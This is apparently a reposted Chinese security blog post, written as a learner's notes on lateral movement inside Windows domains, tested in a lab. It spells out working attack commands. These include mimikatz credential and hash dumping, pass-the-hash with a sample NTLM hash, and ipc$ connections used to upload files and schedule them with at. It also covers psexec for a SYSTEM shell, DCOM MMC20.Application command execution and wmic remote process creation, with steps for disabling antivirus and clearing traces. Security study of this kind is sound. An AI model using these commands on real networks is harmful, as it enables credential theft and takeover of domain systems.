|
渗透Xiao白帽 3天前
以下文章来源于NOVASEC ,作者阿狸家的小猫
NOVASEC
NOVA SEC 新星安全 萌新启蒙之路 愿大家都能成为最闪耀的星。
内网横向学习总结
△△△点击上方“蓝字”关注我们了解更多精彩
0x00 Preface
有个人说,太长了,不看,所以我这里简略的写了一下。在最后的总结中补充一下其它方式。
行有不得,反求诸己。
--《孟子·离娄上》
加油!
0x01 本文概要:
当我们获取了一台服务器的权限后,发现其中没有我们想要的目标,那么就需要进行横向渗透。本文是作者学习横向渗透的笔记,因此没有正常流程前面的部分:web入侵-提权-内网信息收集-建立代理访问外网访问不到的目标机器。
本文大概覆盖这些方式:
0x02 获取已控服务器的密码和hash
1、相关文件:用户账户密码以一种hash的形式存放在sam文件中。
2、获取密码及hash的两种方式:
第一种方式:将sam文件和system文件导出,再利用mimikatz进行导出hash,在进行破解。
ps:这种方式是因为环境受限,或者为了更隐蔽。但是相对麻烦一些。
第二种方式:直接使用mimikatz进行导出密码。
privilege::debug // 提升至debug权限sekurlsa::logonpasswords
ps:由于文章过长了,嗯大概吧!这里就省略了一部分我知道方法希望下次能补上。
0x03 横向方式01
pass the hash
在无法将hash破解成明文的时候,直接使用哈希传递攻击(在2012r2及以后的系统中,hash无法破解成明文,因此选择将ntlm hash进行传递进行登录其它机器)。
pth流程:
- 获得一台域内计算机的本地system权限
- dump lsass 中的用户hash
- 通过pth尝试登录域环境中其它计算机
- 重复上面的操作,继续搜集用户hash
- 直到获取到域管理员或者企业管理员的账号hash,登录域控制器,进而控制整个域
演示:
获取hash值:mimikatz中是不可以复制的但是可以使用log命令输出到txt文档
在mimikatz里面输入命令后,会弹出一个cmd,在这个cmd中就可以进行对目标机器的操作
sekurlsa::pth /user:Administrator /domain:god.org /ntlm:a45a7246dd74b64a67f22fd7020f1bd8
0x04 横向方式02
ipc$共享连接
Ipc$(internet process connection)是共享”命名管道”的资源,是为了让进程间通信而开放的命名通道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用条件:
1、139、445端口开启:ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。
2、管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$...)和系统目录windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。
ipc$常规使用流程:
1、获取到一个域用户账号密码(上面通过mimikatz获取了)
2、建立ipc连接
3、查看进程(是否有杀软,关掉)
4、上传恶意程序/映射磁盘
5、写入计划任务
6、清理痕迹
注:这里写计划任务我只用了at进行演示,at在高版本的系统里面已经不建议使用了,用的是schtasks添加计划任务,另外还有一个sc:创建windows服务来进行横向渗透。
命令使用演示:
Net use //查看存在的连接net use \\127.0.0.1\ipc$ "password" /user:"username" //建立连接
利用copy进行传输文件
dir \\owa\c$ //查看目标C盘copy calc.bat \\owa\c$ //将文件上传到目标c盘
然后用net time \\ip 查看目标机器当前时间,以便指定计划任务执行的时间
使用at命令进行计划任务的创建
at \\192.168.52.138 01:35 c:\calc.bat
计划任务是不会有回显过来的,因此我们可以添加一个输出,然后再用type命令去读取输出的信息
at \\192.168.52.138 01:43 cmd.exe /c "ipconfig > c:/2.txt"
通过命令进行磁盘映射
net use z: \\ip\c$ "密码" /user:"用户名"
0x05 横向方式03
psexec横向
pstools工具包中的一款工具,默认带有微软签名,但是被各大厂商拉黑了...pstools工具包在windows网站上面下载。
前提:需要远程系统开启admin$共享(默认开启)
流程:
1、建立ipc连接
2、使用psexec进行连接
3、获得交互shell/或者执行命令
命令演示:
这里演示如何获得交互shell,也可以使用这个来执行命令,如果没有建立ipc连接,那么就需要在第二条命令里面输入账号密码
注:这里可以看到是建立了一个admin$连接,因为建立ipc$的时候,psexec横向不成功,百度无果,我就直接这样搞了。
Net use \\192.168.52.138\admin$ “password” /user:”username” Psexec.exe -accepteula \\192.168.52.138 -s cmd.exe可以看到,直接获得了交互shell
Msf中自带这个模块,大家直接search来使用进行,因为前辈说这个psexec已经被多数厂商拉黑,并且会存在大量的日志,所以我就不演示了。。
0x06 横向方式04
利用dcom在远程系统执行命令
DCOM(分布式组件对象模型,分布式组件对象模式)是一系列微软的概念和程序接口,利用这个接口,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。DCOM基于组件对象模型(COM),COM提供了一套允许同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95或者其后的版本上)。
流程:
1、建立ipc连接
2、进入powershell
3、输入命令(两步,一步确定目标IP,一步执行命令)
命令演示:
本地dcom执行命令演示流程
1、获取dcom程序列表(相当于获取命令帮助)
Get-cimlnstance win32_dcomapplication //server2012及以上的版本Get-wmiobject -namespace root\cimv2 -class win32_dcomapplication
2、查看MMC类:可以看到,这是一个类,类是可以实例一个对象出来的
Get-wmiobject -namespace root\cimv2 -class win32_dcomapplication | findstr “MMC”
执行如下命令通过PowerShell与DCOM进行交互,创建一个“MMC20.Application”对象的实例(我们只需要提供一个DCOM ProgID和一个IP地址,就返回一个COM对象的实例)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))//查看这个实例的属性方法$com.Document.ActiveView | Get-Member
看到有一个方法可以拿来执行命令:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
注:当实例化对象的时候出现报错,直接百度报错码,一般来说是机器上面的系统文件缺失,使用系统自带命令进行自检并且自动修复即可:sf /scannow
使用dcom在远程机器执行命令
实例对象,然后调用对象的方法进行命令执行
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138"))$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")注:可能要关闭目标的防火墙,我看人家讲解的时候没有关的过程,不确定是否关了,我只有关闭目标机器的防火墙后才能使用这个方法。
通过以上实验,可以知道基本原理是:利用powershell调用dcom组件中的类,实例化一个对象出来,对象中有方法可以执行命令。
同样的类还有:
ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等,如果不能直接用类名进行实例化,可以查看该类的id,使用Id进行实例化。
参考链接:
https://www.cnblogs.com/bonelee/p/14410715.html
0x07 横向方式05
使用wmi进行横向移动
WMI(Windows Management Instrumentation/Windows 管理规范)。它是 Windows 中的一个核心管理技术。
WMI 为访问大量的 Windows 管理数据和方法的提供了一个统一的机制。WMI通过脚本、C++程序接口、.NET类(系统管理)和命令行工具(WMIC)提供了对这个信息的访问。WMI的功能还包括事件、远程、查询、查看、计划和实施用户扩展及更多内容。
之前有师傅介绍过wmi的使用,这里仅演示远程功能。
命令演示:
远程执行命令:
Wmic /node:192.168.52.138 /user:administrator /password:hongrisec@2021 process call create “cmd.exe /c ipconfig > C:\ip.txt”
Wmic是没有回显的,因此我们将执行结果写入了txt,现在需要用type读取
先建立ipc连接,然后使用type命令进行读取
Wmi的优势是没有日志痕迹,且wmi的功能十分强大,缺点是无回显。
0x08 Summary
以上是我在实验环境成功使用的方式,还有一个smbexec我暂时没找到文件进行实验。
以下是文章总结:
1、hash传递
Hash传递在很多其它工具中也支持,这里只演示了mimikatz的。
2、ipc连接
3、Psexec
psexec在msf中也有,并且有两种方式,这里演示pstoools里面的。
4、Dcom
这里演示了dcom的基本原理及使用
5、Wmi
这里演示了系统自带的wmi远程执行,另外还有impackets中的wmiexec(获得一个半交互的shell),wmiexec.vbs(获得半交互shell),powersploit中的invoke-WmiCommand。
|
|